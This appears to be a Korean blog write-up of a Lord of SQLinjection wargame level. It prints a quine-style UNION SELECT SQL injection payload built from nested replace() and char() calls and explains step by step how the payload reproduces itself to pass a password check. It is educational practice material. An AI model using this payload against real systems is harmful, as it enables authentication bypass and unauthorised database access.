이 문제는 어려워서 라업을 보고 시작했다..

일단 핵심은 저 부분. 바로 입력값과 결과값이 동일하게 만들어야 한다.. 함수들이 들어간다고 하면 해당 함수들이 다시 살아나야 하고 뭐 그런..

함수가 실행되지만 다시 함수를 넣을 수 있는..

정답을 보고도 이해하는 데 시간이 걸렸다. 일단 payload를 먼저 보고 시작하자.

실제 payload는 

' union select replace(replace('" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#',char(34),char(39)),char(36),'" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#') as pw#

인데, 가장 간단하게 생각하기 위해서는 처음오는 replace 와 그 다음에 오는 replace 두개만 빼고, 나머지 replace는 문자열로 생각해보자.

' union select replace( 
                                 replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )
                                 ,char(36),
                                 ' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# '
) as pw#

녹색으로 칠한 부분의 replace 1번

주황색으로 칠한 부분의 replace 2번 

이렇게 총 2개의 replace만 실제 함수로 동작하고 해당 함수 안에 또 존재하는 replace들은 싱글쿼터로 감싸진 (밑줄 친 부분) 그냥 문자열이라고 생각하자.

 

코드로 보면 조금 더 이해하기 쉬울 것이다.

' union select replace( 
                                 replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )
                                 ,char(36),
                                 ' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# '
) as pw#

 

주황색 replace 2번 먼저 풀어보자.

replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )

char (34)는 " 이고, char (39)는  ' 이다. 

replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )

' '로 감싸진 밑줄 친 문자열 : " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#

에서 " 를 ' 로 변경해보자.

변경후 문자열 : ' union select replace(replace('$',char(34),char(39)),char(36),'$') as pw#

 

 

가장 바깥에 있는 녹색 replace에 주황색 replace로 풀어낸 문자열을 대입해보자.

' union select replace( 
                                ' ' union select replace(replace('$',char(34),char(39)),char(36),'$') as pw#  ' 
                                 ,char(36),
                                 ' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# '
) as pw#

 

char(36)은 $ 이다.
첫번째 인자 문자열에 있는 $ 자리에 " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# 이걸 넣어주면 된다.

$ 자리에 넣은 결과 : 

' union select replace(replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#',char(34),char(39)),char(36),' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ') as pw#

 

처음 입력값 : 

' union select replace(replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#',char(34),char(39)),char(36),' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ') as pw#

 

둘이 동일해서 문제를 풀 수 있다..

 

어려워

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step32. alien풀이  (0) 2023.08.30
[LOS] step31. ZOMBIE 풀이  (0) 2023.07.11
[LOS] step28. FRANKENSTEIN 풀이  (0) 2023.07.03
[LOS] step27. blue_dragon 풀이  (0) 2023.06.22
[LOS] step26. red_dragon 풀이  (0) 2023.06.22

+ Recent posts